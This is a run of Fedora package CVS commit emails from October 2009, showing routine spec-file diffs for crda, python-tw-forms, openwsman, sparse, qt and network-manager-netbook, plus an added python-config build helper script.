 Version:        %{crda_version}_%{regdb_version}
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Regulatory compliance daemon for 802.11 wireless networking
 
 Group:          System Environment/Base
@@ -56,11 +56,11 @@ rm -rf $RPM_BUILD_ROOT
 
 cd crda-%{crda_version}
 cp README README.crda
-make install DESTDIR=$RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT PREFIX='' MANDIR=%{_mandir}
 
 cd ../wireless-regdb-%{regdb_version}
 cp README README.wireless-regdb
-make install PREFIX=${RPM_BUILD_ROOT}/usr
+make install DESTDIR=$RPM_BUILD_ROOT PREFIX='' MANDIR=%{_mandir}
 
 install -D -m0755 %SOURCE2 ${RPM_BUILD_ROOT}/sbin
 
@@ -74,7 +74,7 @@ rm -rf $RPM_BUILD_ROOT
 /sbin/regdbdump
 /sbin/setregdomain
 /lib/udev/rules.d/85-regulatory.rules
-/usr/lib/%{name}
+/lib/%{name}
 %{_mandir}/man5/regulatory.bin.5.gz
 %{_mandir}/man8/crda.8.gz
 %{_mandir}/man8/regdbdump.8.gz
@@ -82,6 +82,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc wireless-regdb-%{regdb_version}/README.wireless-regdb
 
 %changelog
+* Wed Oct  1 2009 John W. Linville <linville at redhat.com> 1.1.0_2009.09.08-3
+- Move regdb to /lib/crda to facilitate /usr mounted over wireless network
+
 * Wed Sep  9 2009 John W. Linville <linville at redhat.com> 1.1.0_2009.09.08-2
 - Use kernel-headers instead of kernel-devel
 



From lmacken at fedoraproject.org  Thu Oct  1 18:08:43 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu,  1 Oct 2009 18:08:43 +0000 (UTC)
Subject: rpms/python-tw-forms/devel .cvsignore, 1.5, 1.6 import.log, 1.2,
	1.3 python-tw-forms.spec, 1.7, 1.8 sources, 1.5, 1.6
Message-ID: <20091001180843.34EC511C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-tw-forms/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30670/devel

Modified Files:
	.cvsignore import.log python-tw-forms.spec sources 
Log Message:
Update to version 0.9.8


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	1 Oct 2009 15:01:35 -0000	1.5
+++ .cvsignore	1 Oct 2009 18:08:42 -0000	1.6
@@ -1 +1 @@
-tw.forms-0.9.7.2.tar.gz
+tw.forms-0.9.8.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	1 Oct 2009 15:01:36 -0000	1.2
+++ import.log	1 Oct 2009 18:08:43 -0000	1.3
@@ -1,2 +1,3 @@
 python-tw-forms-0_9_1-1_fc9:HEAD:python-tw-forms-0.9.1-1.fc9.src.rpm:1217879200
 python-tw-forms-0_9_7_2-1_fc11:HEAD:python-tw-forms-0.9.7.2-1.fc11.src.rpm:1254394452
+python-tw-forms-0_9_8-1_fc11:HEAD:python-tw-forms-0.9.8-1.fc11.src.rpm:1254405706


Index: python-tw-forms.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/devel/python-tw-forms.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- python-tw-forms.spec	1 Oct 2009 15:01:36 -0000	1.7
+++ python-tw-forms.spec	1 Oct 2009 18:08:43 -0000	1.8
@@ -3,7 +3,7 @@
 %define srcname tw.forms
 
 Name:           python-tw-forms
-Version:        0.9.7.2
+Version:        0.9.8
 Release:        1%{?dist}
 Summary:        Web Widgets for building and validating forms in ToscaWidgets
 Group:          Development/Languages
@@ -49,6 +49,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-1
+- 0.9.8
+
 * Wed Aug 12 2009 Luke Macken <lmacken at redhat.com> - 0.9.7.2-1
 - 0.9.7.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	1 Oct 2009 15:01:36 -0000	1.5
+++ sources	1 Oct 2009 18:08:43 -0000	1.6
@@ -1 +1 @@
-6a12e14d3d27de11c95567658b6ee6c2  tw.forms-0.9.7.2.tar.gz
+9a1cea6d4296bbb1f9b210fec5ad891d  tw.forms-0.9.8.tar.gz



From lmacken at fedoraproject.org  Thu Oct  1 18:12:47 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu,  1 Oct 2009 18:12:47 +0000 (UTC)
Subject: rpms/python-tw-forms/F-11 .cvsignore, 1.4, 1.5 import.log, 1.1,
	1.2 python-tw-forms.spec, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091001181247.5DEB911C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-tw-forms/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31244/F-11

Modified Files:
	.cvsignore import.log python-tw-forms.spec sources 
Log Message:
Update to version 0.9.8


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	1 Oct 2009 17:41:21 -0000	1.4
+++ .cvsignore	1 Oct 2009 18:12:47 -0000	1.5
@@ -1 +1 @@
-tw.forms-0.9.7.2.tar.gz
+tw.forms-0.9.8.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/F-11/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	5 Aug 2008 03:02:22 -0000	1.1
+++ import.log	1 Oct 2009 18:12:47 -0000	1.2
@@ -1 +1,2 @@
 python-tw-forms-0_9_1-1_fc9:HEAD:python-tw-forms-0.9.1-1.fc9.src.rpm:1217879200
+python-tw-forms-0_9_8-1_fc11:F-11:python-tw-forms-0.9.8-1.fc11.src.rpm:1254405956


Index: python-tw-forms.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/F-11/python-tw-forms.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- python-tw-forms.spec	1 Oct 2009 17:41:21 -0000	1.5
+++ python-tw-forms.spec	1 Oct 2009 18:12:47 -0000	1.6
@@ -3,7 +3,7 @@
 %define srcname tw.forms
 
 Name:           python-tw-forms
-Version:        0.9.7.2
+Version:        0.9.8
 Release:        1%{?dist}
 Summary:        Web Widgets for building and validating forms in ToscaWidgets
 Group:          Development/Languages
@@ -49,6 +49,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-1
+- 0.9.8
+
 * Wed Aug 12 2009 Luke Macken <lmacken at redhat.com> - 0.9.7.2-1
 - 0.9.7.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	1 Oct 2009 17:41:21 -0000	1.4
+++ sources	1 Oct 2009 18:12:47 -0000	1.5
@@ -1 +1 @@
-6a12e14d3d27de11c95567658b6ee6c2  tw.forms-0.9.7.2.tar.gz
+9a1cea6d4296bbb1f9b210fec5ad891d  tw.forms-0.9.8.tar.gz



From praveenp at fedoraproject.org  Thu Oct  1 18:14:51 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Thu,  1 Oct 2009 18:14:51 +0000 (UTC)
Subject: rpms/openwsman/EL-5 openwsman.spec,1.5,1.6
Message-ID: <20091001181451.CBA6A11C00C1@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/openwsman/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31543

Modified Files:
	openwsman.spec 
Log Message:
removed some hard coded paths in %files



Index: openwsman.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openwsman/EL-5/openwsman.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- openwsman.spec	29 Sep 2009 18:02:36 -0000	1.5
+++ openwsman.spec	1 Oct 2009 18:14:51 -0000	1.6
@@ -1,10 +1,12 @@
 %{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 %{!?ruby_sitearch: %global ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"] ')}
+%define ruby_libdir %(ruby -rrbconfig -e 'puts Config::CONFIG["sitelibdir"]')
+
 
 Name:          openwsman
 Version:       2.2.0
-Release:        3%{?dist}
+Release:        4%{?dist}
 License:        BSD
 Url:            http://www.openwsman.org/
 Source:         http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2
@@ -99,7 +101,7 @@ rm -rf %{buildroot}
 %dir /etc/openwsman
 %config(noreplace) /etc/openwsman/openwsman.conf
 %config(noreplace) /etc/openwsman/ssleay.cnf
-/usr/lib/ruby/site_ruby/1.8/openwsman/
+%{ruby_libdir}/openwsman
 %config(noreplace) %{_sysconfdir}/pam.d/openwsman
 %doc COPYING README
 
@@ -141,6 +143,8 @@ fi
 
 
 %changelog
+* Thu Oct  1 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.2.0-4
+- removed the hard coding of ruby_libdir
 * Tue Sep 29 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.2.0-3
 - Changed back the hard coding of /usr/lib
 * Tue Sep 29 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.2.0-2



From praveenp at fedoraproject.org  Thu Oct  1 18:17:10 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Thu,  1 Oct 2009 18:17:10 +0000 (UTC)
Subject: rpms/openwsman/F-12 .cvsignore, 1.2, 1.3 openwsman.spec, 1.4,
	1.5 sources, 1.2, 1.3
Message-ID: <20091001181710.145FB11C00C1@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/openwsman/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31860

Modified Files:
	.cvsignore openwsman.spec sources 
Log Message:
Updated the sources to 2.2.0.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openwsman/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Nov 2008 10:57:30 -0000	1.2
+++ .cvsignore	1 Oct 2009 18:17:09 -0000	1.3
@@ -1 +1 @@
-openwsman-2.1.0.tar.bz2
+openwsman-2.2.0.tar.bz2


Index: openwsman.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openwsman/F-12/openwsman.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- openwsman.spec	21 Aug 2009 15:09:32 -0000	1.4
+++ openwsman.spec	1 Oct 2009 18:17:09 -0000	1.5
@@ -1,9 +1,11 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 %{!?ruby_sitearch: %define ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"] ')}
+%define ruby_libdir %(ruby -rrbconfig -e 'puts Config::CONFIG["sitelibdir"]')
 
 Name:          openwsman
-Version:       2.1.0
-Release:        4%{?dist}
+Version:       2.2.0
+Release:        1%{?dist}
 License:        BSD
 Url:            http://www.openwsman.org/
 Source:         http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2
@@ -54,6 +56,7 @@ Openwsman ruby bindings
 %prep
 %setup -q 
 %patch0 -p1
+echo "%{ruby_sitearch}"
 
 %build
 chmod a-x src/lib/*.[ch]
@@ -95,6 +98,8 @@ rm -rf %{buildroot}
 %dir /etc/openwsman
 %config(noreplace) /etc/openwsman/openwsman.conf
 %config(noreplace) /etc/openwsman/ssleay.cnf
+%{ruby_libdir}/openwsman
+%config(noreplace) %{_sysconfdir}/pam.d/openwsman
 %doc COPYING README
 
 %files devel
@@ -109,7 +114,7 @@ rm -rf %{buildroot}
 %files python
 %defattr(-,root,root)
 %{python_sitelib}/pywsman.py
-%{python_sitelib}/*.so
+%{python_sitearch}/*.so
 %doc COPYING
 
 %files -n ruby-%{name}
@@ -135,6 +140,18 @@ fi
 
 
 %changelog
+* Thu Oct  1 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.2.0-1
+- Updated the sources to 2.2.0. Couple of major changes are as follows:
+- Major changes:
+- 	Adapt IANA ports of 5985 (http) and 5986 (https)
+- 	Change the Ruby bindings module name to 'Openwsman'
+- 	Change the Ruby plugin module name to 'Openwsman'
+- 	IPv6 support (A_Venkatachalam at Dell.com)
+- 	preliminary support for wbem intrinsic operations
+-           'EnumerateClassNames' and 'GetClass' (kkaempf at suse.de)
+-            (needs fixed sblim-sfcc, see www.openwsman.org for details)
+-  
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.1.0-4
 - rebuilt with new openssl
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openwsman/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Nov 2008 10:57:30 -0000	1.2
+++ sources	1 Oct 2009 18:17:09 -0000	1.3
@@ -1 +1 @@
-25a135bea7c1653f66b2428c4b252d3a  openwsman-2.1.0.tar.bz2
+62b4eaf752171058bf0036e049ca01d0  openwsman-2.2.0.tar.bz2



From lmacken at fedoraproject.org  Thu Oct  1 18:17:50 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu,  1 Oct 2009 18:17:50 +0000 (UTC)
Subject: rpms/python-tw-forms/EL-5 import.log, NONE, 1.1 .cvsignore, 1.3,
	1.4 python-tw-forms.spec, 1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091001181750.4556711C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-tw-forms/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32099/EL-5

Modified Files:
	.cvsignore python-tw-forms.spec sources 
Added Files:
	import.log 
Log Message:
Update to version 0.9.8


--- NEW FILE import.log ---
python-tw-forms-0_9_8-1_fc11:EL-5:python-tw-forms-0.9.8-1.fc11.src.rpm:1254406252


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/EL-5/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	1 Oct 2009 17:45:38 -0000	1.3
+++ .cvsignore	1 Oct 2009 18:17:50 -0000	1.4
@@ -1 +1 @@
-tw.forms-0.9.7.2.tar.gz
+tw.forms-0.9.8.tar.gz


Index: python-tw-forms.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/EL-5/python-tw-forms.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- python-tw-forms.spec	1 Oct 2009 17:45:38 -0000	1.2
+++ python-tw-forms.spec	1 Oct 2009 18:17:50 -0000	1.3
@@ -3,7 +3,7 @@
 %define srcname tw.forms
 
 Name:           python-tw-forms
-Version:        0.9.7.2
+Version:        0.9.8
 Release:        1%{?dist}
 Summary:        Web Widgets for building and validating forms in ToscaWidgets
 Group:          Development/Languages
@@ -49,6 +49,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-1
+- 0.9.8
+
 * Wed Aug 12 2009 Luke Macken <lmacken at redhat.com> - 0.9.7.2-1
 - 0.9.7.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	1 Oct 2009 17:45:38 -0000	1.3
+++ sources	1 Oct 2009 18:17:50 -0000	1.4
@@ -1 +1 @@
-6a12e14d3d27de11c95567658b6ee6c2  tw.forms-0.9.7.2.tar.gz
+9a1cea6d4296bbb1f9b210fec5ad891d  tw.forms-0.9.8.tar.gz



From praveenp at fedoraproject.org  Thu Oct  1 18:19:45 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Thu,  1 Oct 2009 18:19:45 +0000 (UTC)
Subject: rpms/openwsman/EL-4 .cvsignore, 1.2, 1.3 openwsman.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091001181945.C650311C00C1@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/openwsman/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv762

Modified Files:
	.cvsignore openwsman.spec sources 
Log Message:
Updated the sources and add python-config to sources



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openwsman/EL-4/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Nov 2008 10:59:33 -0000	1.2
+++ .cvsignore	1 Oct 2009 18:19:45 -0000	1.3
@@ -1 +1 @@
-openwsman-2.1.0.tar.bz2
+openwsman-2.2.0.tar.bz2


Index: openwsman.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openwsman/EL-4/openwsman.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openwsman.spec	1 Nov 2008 10:59:33 -0000	1.1
+++ openwsman.spec	1 Oct 2009 18:19:45 -0000	1.2
@@ -1,12 +1,15 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 %{!?ruby_sitearch: %define ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"] ')}
+%define ruby_libdir %(ruby -rrbconfig -e 'puts Config::CONFIG["sitelibdir"]')
 
 Name:          openwsman
-Version:       2.1.0
+Version:       2.2.0
 Release:        1%{?dist}
 License:        BSD
 Url:            http://www.openwsman.org/
 Source:         http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2
+Source2:        python-config
 Patch0:         %{name}-initscript.patch
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXXX)
 Group:          System Environment/Daemons
@@ -54,6 +57,8 @@ Openwsman ruby bindings
 %prep
 %setup -q 
 %patch0 -p1
+cp -p %{SOURCE2} %{_builddir}/%{name}-%{version}
+sed -i -e 's|#!/usr/bin/python2.5|#!%{__python}|' %{_builddir}/%{name}-%{version}/python-config
 
 %build
 chmod a-x src/lib/*.[ch]
@@ -62,7 +67,7 @@ chmod a-x include/*.[ch]
 
 # disable eventing, as Fedora libcurl isn't linked against openssl
 # disable tests in 2.1.0, http://www.openwsman.org/bug/263
-%configure --with-examples=yes --with-tests=no --enable-python=yes --enable-ruby=yes --enable-eventing=no --disable-more-warnings
+%configure --with-examples=yes --with-tests=no --enable-python=yes --enable-ruby=yes --enable-eventing=no --disable-more-warnings PATH=$PATH:.
 make %{?_smp_flags}
 
 %install
@@ -95,6 +100,8 @@ rm -rf %{buildroot}
 %dir /etc/openwsman
 %config(noreplace) /etc/openwsman/openwsman.conf
 %config(noreplace) /etc/openwsman/ssleay.cnf
+%{ruby_libdir}/openwsman
+%config(noreplace) %{_sysconfdir}/pam.d/openwsman
 %doc COPYING README
 
 %files devel
@@ -109,7 +116,7 @@ rm -rf %{buildroot}
 %files python
 %defattr(-,root,root)
 %{python_sitelib}/pywsman.py
-%{python_sitelib}/*.so
+%{python_sitearch}/*.so
 %doc COPYING
 
 %files -n ruby-%{name}
@@ -135,6 +142,18 @@ fi
 
 
 %changelog
+* Thu Oct  1 2009 Praveen K Paladugu <praveen_paladugu at dell.com> - 2.2.0-1
+- Updated the sources to 2.2.0. Couple of major changes are as follows:
+- Major changes:
+- 	Adapt IANA ports of 5985 (http) and 5986 (https)
+- 	Change the Ruby bindings module name to 'Openwsman'
+- 	Change the Ruby plugin module name to 'Openwsman'
+- 	IPv6 support (A_Venkatachalam at Dell.com)
+- 	preliminary support for wbem intrinsic operations
+-           'EnumerateClassNames' and 'GetClass' (kkaempf at suse.de)
+-            (needs fixed sblim-sfcc, see www.openwsman.org for details)
+- Added a few more files in %files 
+
 * Mon Sep 22 2008 Matt Domsch <Matt_Domsch at dell.com> - 2.1.0-1
 - update to 2.1.0, resolves security issues
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openwsman/EL-4/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Nov 2008 10:59:33 -0000	1.2
+++ sources	1 Oct 2009 18:19:45 -0000	1.3
@@ -1 +1 @@
-25a135bea7c1653f66b2428c4b252d3a  openwsman-2.1.0.tar.bz2
+62b4eaf752171058bf0036e049ca01d0  openwsman-2.2.0.tar.bz2



From jlayton at fedoraproject.org  Thu Oct  1 18:21:43 2009
From: jlayton at fedoraproject.org (Jeff Layton)
Date: Thu,  1 Oct 2009 18:21:43 +0000 (UTC)
Subject: rpms/sparse/F-12 .cvsignore, 1.7, 1.8 sources, 1.7, 1.8 sparse.spec,
	1.12, 1.13
Message-ID: <20091001182143.6487C11C00C1@cvs1.fedora.phx.redhat.com>

Author: jlayton

Update of /cvs/pkgs/rpms/sparse/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1621

Modified Files:
	.cvsignore sources sparse.spec 
Log Message:
Update package to version 0.4.2rc1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sparse/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	13 Nov 2007 22:24:14 -0000	1.7
+++ .cvsignore	1 Oct 2009 18:21:43 -0000	1.8
@@ -1 +1 @@
-sparse-0.4.1.tar.bz2
+sparse-0.4.2rc1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sparse/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	13 Nov 2007 22:24:14 -0000	1.7
+++ sources	1 Oct 2009 18:21:43 -0000	1.8
@@ -1 +1 @@
-f27e661c5b132b037a105e4ccabfcacd  sparse-0.4.1.tar.bz2
+6085a35dc86c7274bfd305a291bb4a57  sparse-0.4.2rc1.tar.bz2


Index: sparse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sparse/F-12/sparse.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sparse.spec	27 Jul 2009 04:38:58 -0000	1.12
+++ sparse.spec	1 Oct 2009 18:21:43 -0000	1.13
@@ -1,6 +1,6 @@
 Name: sparse
-Version: 0.4.1
-Release: 5%{?dist}
+Version: 0.4.2rc1
+Release: 1%{?dist}
 Summary:    A semantic parser of source files
 Group:      Development/Tools
 License:    OSL 1.1
@@ -46,9 +46,9 @@ make DESTDIR="%{buildroot}" PREFIX="%{_p
 
 %build
 %ifarch sparcv9 sparc64
-%make_destdir %{?_smp_mflags} CFLAGS="%{optflags} -Wwrite-strings -fPIC"
+%make_destdir %{?_smp_mflags} CFLAGS="%{optflags} -Wwrite-strings -fPIC -DGCC_BASE=\\\"`gcc --print-file-name=`\\\""
 %else
-%make_destdir %{?_smp_mflags} CFLAGS="%{optflags} -Wwrite-strings -fpic"
+%make_destdir %{?_smp_mflags} CFLAGS="%{optflags} -Wwrite-strings -fpic -DGCC_BASE=\\\"`gcc --print-file-name=`\\\""
 %endif
 
 %install
@@ -82,6 +82,9 @@ make clean
 
 
 %changelog
+* Tue Sep 29 2009 Jeff Layton <jlayton at redhat.com> - 0.4.2rc1-1
+- Update to 0.4.2rc1
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.1-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rdieter at fedoraproject.org  Thu Oct  1 18:26:10 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  1 Oct 2009 18:26:10 +0000 (UTC)
Subject: rpms/qt/devel qt.spec,1.332,1.333
Message-ID: <20091001182610.D18AC11C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3294

Modified Files:
	qt.spec 
Log Message:
oops, some phonon-gstreamer backend bits snuck through, nuke 'em



Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/qt.spec,v
retrieving revision 1.332
retrieving revision 1.333
diff -u -p -r1.332 -r1.333
--- qt.spec	1 Oct 2009 14:28:58 -0000	1.332
+++ qt.spec	1 Oct 2009 18:26:10 -0000	1.333
@@ -662,6 +662,9 @@ install -D -m 0644 %{SOURCE13} %{buildro
 install -D -m 0644 %{SOURCE14} %{buildroot}%{_datadir}/icons/hicolor/48x48/apps/phonon-gstreamer.png
 install -D -m 0644 %{SOURCE15} %{buildroot}%{_datadir}/icons/hicolor/64x64/apps/phonon-gstreamer.png
 install -D -m 0644 %{SOURCE16} %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/phonon-gstreamer.png
+%else
+rm -fv %{buildroot}%{_qt4_plugindir}/phonon_backend/*_gstreamer.so
+rm -fv %{buildroot}%{_datadir}/kde4/services/phononbackends/gstreamer.desktop
 %endif
 
 



From praveenp at fedoraproject.org  Thu Oct  1 18:27:33 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Thu,  1 Oct 2009 18:27:33 +0000 (UTC)
Subject: rpms/openwsman/EL-4 python-config,NONE,1.1
Message-ID: <20091001182733.8779911C00C1@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/openwsman/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3993

Added Files:
	python-config 
Log Message:
missed to add python-config script



--- NEW FILE python-config ---
#!/usr/bin/python2.5

import sys
import os
import getopt
from distutils import sysconfig

valid_opts = ['prefix', 'exec-prefix', 'includes', 'libs', 'cflags', 
              'ldflags', 'help']

def exit_with_usage(code=1):
    print >>sys.stderr, "Usage: %s [%s]" % (sys.argv[0], 
                                            '|'.join('--'+opt for opt in valid_opts))
    sys.exit(code)

try:
    opts, args = getopt.getopt(sys.argv[1:], '', valid_opts)
except getopt.error:
    exit_with_usage()

if not opts:
    exit_with_usage()

opt = opts[0][0]

pyver = sysconfig.get_config_var('VERSION')
getvar = sysconfig.get_config_var

if opt == '--help':
    exit_with_usage(0)

elif opt == '--prefix':
    print sysconfig.PREFIX

elif opt == '--exec-prefix':
    print sysconfig.EXEC_PREFIX

elif opt in ('--includes', '--cflags'):
    flags = ['-I' + sysconfig.get_python_inc(),
             '-I' + sysconfig.get_python_inc(plat_specific=True)]
    if opt == '--cflags':
        flags.extend(getvar('CFLAGS').split())
    print ' '.join(flags)

elif opt in ('--libs', '--ldflags'):
    libs = getvar('LIBS').split() + getvar('SYSLIBS').split()
    libs.append('-lpython'+pyver)
    # add the prefix/lib/pythonX.Y/config dir, but only if there is no
    # shared library in prefix/lib/.
    if opt == '--ldflags' and not getvar('Py_ENABLE_SHARED'):
        libs.insert(0, '-L' + getvar('LIBPL'))
    print ' '.join(libs)




From pbrobinson at fedoraproject.org  Thu Oct  1 18:28:13 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu,  1 Oct 2009 18:28:13 +0000 (UTC)
Subject: rpms/network-manager-netbook/devel .cvsignore, 1.3,
	1.4 network-manager-netbook.spec, 1.5, 1.6 sources, 1.3, 1.4
Message-ID: <20091001182813.6E54111C00C1@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/network-manager-netbook/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4129

Modified Files:
	.cvsignore network-manager-netbook.spec sources 
Log Message:
- Git snapshot of the NM-0.8 port.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/network-manager-netbook/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	29 Sep 2009 21:03:27 -0000	1.3
+++ .cvsignore	1 Oct 2009 18:28:12 -0000	1.4
@@ -1 +1 @@
-network-manager-netbook-1.4.tar.bz2
+network-manager-netbook-1.3.1.tar.bz2


Index: network-manager-netbook.spec
===================================================================
RCS file: /cvs/pkgs/rpms/network-manager-netbook/devel/network-manager-netbook.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- network-manager-netbook.spec	1 Oct 2009 15:51:53 -0000	1.5
+++ network-manager-netbook.spec	1 Oct 2009 18:28:12 -0000	1.6
@@ -26,6 +26,7 @@ BuildRequires: mobile-broadband-provider
 BuildRequires: mutter-moblin-devel
 BuildRequires: nbtk-devel
 BuildRequires: NetworkManager-glib-devel
+BuildRequires: wireless-tools-devel
